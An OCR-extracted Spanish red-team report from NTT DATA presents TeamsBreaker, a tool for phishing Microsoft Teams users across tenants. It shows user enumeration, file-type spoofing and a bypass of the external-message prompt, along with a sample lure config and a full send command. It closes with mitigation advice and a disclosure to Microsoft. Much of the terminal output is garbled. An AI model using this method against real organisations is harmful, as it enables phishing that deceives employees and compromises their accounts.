Please enter here soon, or your access will be revoked.

spoofed.spoofed_extension

External

Cambiando "title” y “type” dela descripcion del archivo se
puede suplantar el tipo de archivo.

Automatizando el proceso: TeamsBreaker

Con el objetivo de poder replicar las técnicas explicadas, NTT DATA ASOT ha desarrollado una herramienta
bautizada como TeamsBreaker.

Esta herramienta nace de una modificacion de TeamsPhisher necesaria para la ejecucion de un ejerciciode
Red Team, pero con el descubrimiento de las nuevas técnicas ha evolucionado hasta convertirse en una

herramienta mucho mas potente.
TeamsBreaker cuenta con dos modos de ejecucion principales: modo “Enum” y modo “Send”.

En modo “Enum”, la herramienta recopila informacién sobre la victima, como su estado o el dispositivo
desde el que se conecta (mdvil u ordenador). Esta informacién resulta tremendamente Util ala hora de
elegir objetivos para una campafa de phishing.

Modo Enum

TeamsBreaker es capaz de mostrar una tabla con el estado de las cuentas que se encuentran en la lista de
usuarios. Esta tabla muestra datos como la disponibilidad (si el usuario esta Ausente, Ocupado, Disponible,
Fuera de la Oficina...), asi como el dispositivo desde el cual estan accediendo a Teams en ese momento
(Escritorio, Mévil, Web...). Ademds, genera un archivo en formato .csv que detalla estos resultados,
facilitando su documentacion y analisis posterior.

Esta funcionalidad de TeamsBreaker esta basada en una herramienta llamada TeamsEnum.

)= |-[~/projects/teams-breaker]
teams_breaker/teams_breaker.py - -p -5 configuration tests/example_conf.
INFO | - Running in enumeration mode.
INFO | t 11 - Fetching Bearer token for Teams ...
SUCCESS | i:g Bl - Bearer Token obtained succesfully.
INFO | t 1:get t 1117 - Fetching Skype token ...
SUCCESS | t sget t - Obtained Skype Token!
INFO | - Fetching sender info
S | - Obtained sender info.
I | t - Fetching Bearer token for SharePoint ...
9 §9:55:36. INFO | t i:get - Using https:// -my.sharepoint.com/.default as tenant.
le upload does ork, double-check this is correct.
055237 S S t t t Token obtained succesfully.

Email

=
+
|
+
|
|
+

Tabla con enumeracion de estados

Modo dry run

Para garantizar que la campafia de phishing cuente con el contenido del mensaje adecuadoy el formato
sea correcto, la herramienta ofrece dos modos de previsualizacion de envio de mensajes: “dryrun”y
“dry run self”.

En primer lugar, el modo denominado "dry run" recopila exclusivamente los datos de los usuarios 'y
muestra en pantalla los mensajes que se enviaran a cada uno, sin transmitir ningun mensaje a las
victimas. Esta opcion se activa con “--dry-run”.


https://github.com/AOST-LABS/TeamsBreaker
https://github.com/Octoberfest7/TeamsPhisher/tree/main

- ~/projects/teams-breaker
tkams_breaker/teams_hreaker.ny tests/example_conf.yaml
| 3 3 - Fetching Bearer token for Teams ...

| sfully.
| n.

| 5 5 n!

| 3 :59 - Fetching sender info

| 8 - Ob er info

| - Fetching Bearer token for SharePoint...

1 | - Using https:/; -my.sharepoint.com/.default as tenant. If file upload does not work, double-check
this is correct.
SUCCESS 5 5 - Bearer To obtai esfully.

INFO = 8 - Sending message to (1/2)
INFO g 8 - Creating meeting with » Meeting bypass as name

- sending message to (2/2)
- Creating meeting with Meeting bypass as name

will be revoked.

- Message sent to
- Sent 2/2 mes%ges succesfully!

Modo dry run self Modo "dry run"

En segundo lugar, dispone de un modo llamado "dry run self", especificando la opcion “--dry-run-self”.
Este modo también recopila los datos de los usuarios, pero, en lugar de enviar los mensajes a las
victimas, los dirige hacia el propio atacante. Esto permite al atacante visualizar desde su propia cuenta
de Teams el formato final del mensajey si este se entrega correctamente.

~[~/projects/teams-breaker]
aker/teams_breaker.py - - s
| WARNING | 2 124 Running in dry run self mode.
mode, are you sure? (N/y
| INFe :

tests/example_conf.yaml —dr

- Fetching Bearer token
- Bearer Token obtained s
Fetching Skype token
2 -0 d Sky !
- Fetching sender info.
- Obtained sender info.
- Fetching Bearer token for SharePoint ...
- Using https:// -my.sharepoint.com/.default as tenant. If file upload does not work, double-check

: - Be T obtained succesfully.
23-10-19 A 2 2 Sending message t (1/2)
nding phi t re y re? (N
3-10-19 :3 B e i Meeting bypass as name
SUCCESS =07 essag
INFO 2 2 (2/2)

ng phi
oo

INFO 8 : Meeting bypass as name
SUCCESS 117
INFO

Salida de TeamsBreaker en modo "dry run self’

E — _

Meeting bypass /~ chat Files + &1

&  Company CEO joined the conversatian

¢ Company CEO changed the group name to Meeting bypass

10:35 AM

Hi
Please enter here soon, or your access will be revoked.

Kind regards,
The real IT Team. (not a &)

Desde la cuenta del atacante se pueden previsualizar con "dry run self" los
mensajes a enviar

Modo Send

Finalmente, se encuentra el modo de "envioreal" especificando la opcién “--send”. En este modo, la
herramienta notifica al usuario de que esta a punto de enviar mensajes a las victimas. Antes de cada
envio, se solicita una confirmacién, brindando la oportunidad de preguntar si realmente se d

~/projects/teams-breaker
teams_breaker/ breaker. tests/example_conf.yaml

Sending to real victims,
en for Teams .
Full

Fetching Bearer token for SharePoint...

1 1 Using https:// -my.sharepoint.com/.default as tenant. If file upload does not work, double-check
this is correct.

1 1 (1/2)
Sending phish to
» Meeting bypass as name

8 1 1 3 g (2/2)
Sending phish to E you sure? (
did not confirm. Leaving...




Envio de archivos

TeamsBreaker también soporta la opcién de enviar un archivo a la victima, usando la técnica explicada en
este articulo. Este archivo se puede adjuntar con la opcion “--attachment” y la ruta al archivo, aunque
también es posible adjuntarlo utilizando el archivo de configuracién que se explicara a continuacién.

tenant. If file upload does not work, double-check

Salida de TeamsBreaker al enviar archivo a victima

Meeting bypass

Meeting bypass 832

Some people in this chat are outside your org, It's pessible they have message-related policies that will apply to

Lastread —

‘‘‘‘‘‘‘ £0 (E 9 AM Last read
« Hi Company CEQ (External) 10:42 AM
cC Hil
Please enter here soon, or your access will be revoked. °
Please enter here soon, or your access will be revoked.
Kind regards,
The real IT Team. (not a &) Kind regards,

The real IT Team. (not a €1)
exampled.txt
External

Victima recibe archivo sin que aparezca en ningtin momento una Mensaje recibido por victima

pantalla de solicitud

Configuracion de la herramienta

Con el propésito de simplificar la configuracion de las campafias de phishing, TeamsBreaker da la opcion de
personalizar su configuracion mediante un archivo YAML. A continuacioén, se detalla el formato de este
archivo.

« message (Obligatorio): el mensaje que se enviara. Se trata de una plantilla Mustache, en la que se
pueden utilizar valores de la descripcion del perfil del usuario, como "displayName" o “userPrincipalName”,

entre otros.

+ chat_title (Obligatorio): el titulo a utilizar en el chat.

« user_list (Obligatorio): la ubicacién del archivo que contiene la lista de usuarios.

« attachment (Opcional): la ubicacién del archivo que se va a adjuntar a la victima en el chat.

« method (Opcional): El método que se va a utilizar para evadir la pantalla de solicitud. Actualmente
admite “meeting” o “closed_chat”.

*+ log (Opcional): si esta presente, indica donde se guardaran los registros. Se puede usar "{time}" para
nombrar el archivo de registro con la hora actual.

message: |
Hi {{displayName}},

Please enter <a href="https://www.google.com" title="click here">here</a> soon, or your access will be revoked.

Kind regards,

The real IT Team. (not a &)
chat_title: "Urgent”
user_list: ../me.txt
log: send_{time}.log

Ejemplo de configuracién



La configuracién no se limita unicamente al archivo YAML; algunas opciones solo se pueden configurara
través de la linea de comandos. Las opciones mas cruciales que deben especificarse son los siguientes:

"nou

. (“-u”, “--user”) Nombre de usuario de la cuenta del atacante.
. (“-p”, “--password”) Contrasefia.
. (“-s", “--sharepoint”) Nombre del servidor SharePoint al que se cargaran los archivos.

Alguna de las siguientes opciones debe estar presente:

. “--enum” Ejecutar TeamsBreaker en modo enumeracién de usuarios.

. “--send” Activar modo envio. Envia mensajes a las victimas.

. “--dry-run” Modo de previsualizacién por consola. No envia ningun mensaje.

. “--dry-run-self” Modo de previsualizacién que envia mensajes a la cuenta del atacante.

python3 teams_breaker/teams_breaker.py -u [user]@lemaill] -p [password] -s [sharepoint_url] --configuration tes xample_conf.yaml --send

Ejemplo de linea de comandos

Conclusion

Las técnicas aqui explicadas Unicamente son validas para aquellos Tenants que permitan la comunicacion
Cross-Tenantsin ninguntipo de limitacién. Por lo tanto, la Unica forma de prevenir ataques de phishing
basados en el envio de mensajes desde un Tenant externo es configurar adecuadamente las politicasde
comunicacion Cross-Tenant. Para ello, la mejor opcion consiste en utilizar unalista blanca de dominios
confiables. Esto puede hacerse desde la

Por otro lado, NTT DATA ASOT ha emitido un informe al Microsoft Security Response Center alertando de la
posibilidad de evadir la pantalla de solicitud para comunicaciones externas en las nuevas versiones de
Microsoft Teams, siguiendo nuestra politica de divulgacién responsable.



https://admin.teams.microsoft.com/

@) NTTDaTa

Todas las novedades sobre
ciberseguridad estan disponibles en

Radar

Firmado por:

Almudena Abolafia, Cybersecurity Manager NTT DATA
José Ignacio Gomez, Red Team Lead NTT DATA

Marcos Gonzalez, Junior Analyst NTT DATA

es.nttdata.com
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